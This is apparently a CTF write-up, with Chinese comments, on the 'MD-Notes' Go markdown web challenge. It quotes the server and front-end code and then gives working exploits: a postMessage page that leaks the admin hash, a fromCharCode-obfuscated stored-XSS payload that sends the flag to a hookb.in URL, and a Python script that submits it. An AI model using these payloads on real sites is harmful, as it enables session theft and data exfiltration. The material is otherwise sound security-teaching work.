MD-Notes

1

RUN go env -w GOPROXY="https://goproxy.cn,direct"

1
2
3
4
5
6
7
8

	route.PathPrefix("/static/").Handler(http.StripPrefix("/static/", fs))
	route.HandleFunc("/", indexHandler)
	route.HandleFunc("/demo", previewHandler).Methods("GET")
	route.HandleFunc("/api/flag", flag).Methods("GET")
	route.HandleFunc("/api/filter", filterHandler).Methods("POST")
	route.HandleFunc("/api/create", createHandler).Methods("POST")
	route.HandleFunc("/{bucketid}/{postid}", previewHandler).Methods("GET")
	route.HandleFunc("/_debug", debug).Methods("GET")

1
2
3
4
5
6

                <div class="col-md-6">
                    <textarea id="input-area" class="form-control"></textarea>
                </div>
                <div class="col-md-6">
                    <iframe id="frame-area" src="/demo" width="500" height="300"></iframe>
                </div>

1
2
3
4
5

preview.onclick = function() {
    console.log("Sending Preview..")
	frame.contentWindow.postMessage(textarea.value, `http://${document.location.host}/`); 
	return false;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

window.addEventListener("message", (event) => {
    console.log("Previewing..")
	let raw = event.data // input-area data

	fetch("/api/filter", {
		method: "POST",
		credentials: "include",
		body: JSON.stringify({
			raw: raw
		})
	})
    .then(resp => resp.json())
	.then(response => {
		console.log("Filtered")
		document.body.innerHTML = response.Sanitized
		window.parent.postMessage(response, "*"); 
	}); 
}, false);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

func filterHandler(w http.ResponseWriter, r *http.Request) {
	reqBody, _ := ioutil.ReadAll(r.Body)
	w.Header().Set("Content-Type", "application/json")
	var unsanitized Unsanitized

	err := json.Unmarshal(reqBody, &unsanitized)

	if err != nil {

		log.Println("Error decoding JSON. err = %s", err)
		fmt.Fprintf(w, "Error decoding JSON.")

	} else {
		var cookie, isset = r.Cookie("Token")

		hash, token := createToken() // 生成Token并使用Cookies存储

		sanitized_data := markdown.ToHTML([]byte(sanitize(unsanitized.Raw)), nil, nil) // 过滤RawData
        // 这里应该是远程生成adminBot身份时用的，因为isset=nil时cookie.Value的值也不应该存在
		if isset == nil {
			if cookie.Value == CONFIG.admin_token {
				hash = CONFIG.admin_hash
				token = CONFIG.admin_token
			}
		}

		cookie = &http.Cookie{Name: "Token", Value: token, HttpOnly: true, Path: "/api"} // 设置Cookies
		result := Sanitized{Sanitized: string(sanitized_data), Raw: unsanitized.Raw, Hash: hash} // 返回的JSON
		http.SetCookie(w, cookie) 
        json.NewEncoder(w).Encode(result) // {Sanitized, Raw, Hash} 这里向前端返回了Hash用于后续的Save操作
	}
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

<script>
    function exploit() {
        document.getElementById("iframe").contentWindow.postMessage("Hello","*")
    }

    window.addEventListener("message",(event)=>{
        var img = new Image();
        img.src = "https://hookb.in/NOP1yLbpQwSe8mNN8mR2?hash=" + encodeURIComponent(event.data.Hash);
    },false);
</script>
<iframe src="http://localhost:8080/demo" id="iframe" onload="exploit()"></iframe>

1
2
3
4
5
6
7

func createToken() (string, string) {
	token, _ := uuid.NewV4() // 随机生成一个UUID （字符串）
	h := sha256.New()
	h.Write([]byte(token.String() + CONFIG.secret)) // CONFIG.secret = os.Getenv("SECRET") = "REDACTED"
	sha256_hash := hex.EncodeToString(h.Sum(nil))
	return string(sha256_hash), token.String()
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

save.onclick = function() {
	if (token == undefined)
	{
		alert("Preview before saving!")
	} else {
		fetch("/api/create", {
			method: "POST",
			credentials: "include",
			body: JSON.stringify({
				Hash: token,
				Raw: textarea.value
			})
		}).then(resp => resp.json())
		.then(response => {
            if (response["Status"] != "success") {
                alert("Could not save markdown.")
            } else {
                alert("Saved post to : " + response["Bucket"] + "/" + response["PostId"])
                frame.src = `http://${document.location.host}/${response['Bucket']}/${response["PostId"]}`
            }
			console.log(response)
			token = undefined
		}); 
	}
	return false; 
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

func createHandler(w http.ResponseWriter, r *http.Request) {
	reqBody, _ := ioutil.ReadAll(r.Body)
	w.Header().Set("Content-Type", "application/json")

	type Response struct {
		Status string
		PostId int
		Bucket string
	}
	var createpost CreatePost

	if json.Unmarshal(reqBody, &createpost) != nil {
		log.Println("There was an error decoding json. \n")
		json.NewEncoder(w).Encode(Response{Status: "Save Error"})
	} else {
		var cookie, err = r.Cookie("Token")

		if err == nil {
			var token = cookie.Value
			if verifyToken(token, createpost.Hash) || (createpost.Hash == CONFIG.admin_hash) {
				bucket := CONFIG.admin_bucket
				data := createpost.Raw

				if createpost.Hash != CONFIG.admin_hash {
					id, _ := uuid.NewV4()
					bucket = id.String()
					data = string(markdown.ToHTML([]byte(sanitize(data)), nil, nil))
				} else {
					data = string(markdown.ToHTML([]byte(data), nil, nil)) // 使用adminHash提交的data不会被过滤！
				}

				postid := save_post(bucket, data)
				log.Println("Saved post to", postid)
				json.NewEncoder(w).Encode(Response{Status: "success", Bucket: bucket, PostId: postid})
			} else {
				log.Println("Verification failed for ", createpost.Hash, token)
				json.NewEncoder(w).Encode(Response{Status: "Token not verified"})
			}
		} else {
			json.NewEncoder(w).Encode(Response{Status: "Invalid body."})
		}
	}
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

<script>
    fetch(String.fromCharCode(47, 97, 112, 105, 47, 102, 108, 97, 103))
    .then(function(response) {
        var img = new Image();
        img.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 104, 111, 
        111, 107, 98, 46, 105, 110, 47, 75, 51, 120, 88, 101, 76, 74, 79, 111, 109, 
        72, 80, 77, 75, 56, 56, 77, 75, 86, 55, 63, 102, 108, 97, 103, 61) // 攻击者控制的Web服务器 e.g. http://localhost:8888?flag=
        + encodeURIComponent(response.text());
    })
</script>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

func flag(w http.ResponseWriter, r *http.Request) {
	var cookie, err = r.Cookie("Token")
	res := Preview{Error: "", Data: "'"}
	if err == nil {
		if cookie.Value == CONFIG.admin_token {
			res.Data = template.HTML(CONFIG.admin_token) // 直接将FLAG渲染进HTML 我们只要获取document.body即可
		} else {
			res.Data = template.HTML("You are not admin.")
		}
	}
	previewTmpl.Execute(w, res)
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

<script>
    function exploit() {
        document.getElementById("iframe").contentWindow.postMessage("Hello","*")
    }

    window.addEventListener("message",(event)=>{
        var img = new Image();
        img.src = "https://hookb.in/NOP1yLbpQwSe8mNN8mR2?hash=" + encodeURIComponent(event.data.Hash);
    },false);
</script>
<iframe src="http://localhost:8080/demo" id="iframe" onload="exploit()"></iframe>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

import requests

session = requests.Session()
headers = {
    'Cookie': 'Token=2333',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'
}
Hash = 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'
payload = '<script>fetch(String.fromCharCode(47, 97, 112, 105, 47, 102, 108, 97, 103)).then(function(response) {return response.text();}).then(function (text) {var img = new Image();img.src = String.fromCharCode(104,116,116,112,115,58,47,47,104,111,111,107,98,46,105,110,47,75,51,120,88,101,76,74,79,111,109,72,80,77,75,56,56,77,75,86,55,63,102,108,97,103,61) + encodeURIComponent(text);})</script>'
paramPost = {
    'Hash': Hash,
    'Raw': payload
}
resp = session.post('http://localhost:8080/api/create',
                    json=paramPost, headers=headers)
print(resp.content)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

<script>
    fetch(String.fromCharCode(47, 97, 112, 105, 47, 102, 108, 97, 103))
    .then(function(response) {
        var img = new Image();
        img.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 104, 111, 
        111, 107, 98, 46, 105, 110, 47, 75, 51, 120, 88, 101, 76, 74, 79, 111, 109, 
        72, 80, 77, 75, 56, 56, 77, 75, 86, 55, 63, 102, 108, 97, 103, 61) // 攻击者控制的Web服务器
        + encodeURIComponent(response.text());
    })
</script>

1
2

<img src="YOUR SERVER" onerror="exploit()"> <!-- 可以用于提交数据或者执行脚本-->
<iframe src="URL" onload="exploit()"> <!-- 加载iframe时并且允许脚本 -->

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

var img = new Image();
img.src = "" // 创建img标签

fetch('http://').then(function(response)=>{
                      // do something
                      })
target.addEventListener("type (message)", (event)=>{
                        // do something
                        },false);
document.getElementByID("") // 返回一个匹配特定ID的元素
String.fromCharCode() // 绕过过滤器

// 对字符串内容进行转义防止在构造URL时产生分歧 e.g. 某个Key的Value为 &time=0001 若不进行转义该Value将会被看作为一个新的K-V对
encodeURIComponent("") 

otherWindow.postMessage(message, targetOrigin, [transfer]); // 一种Data传递的方式，必须严格限定targetOrigin的值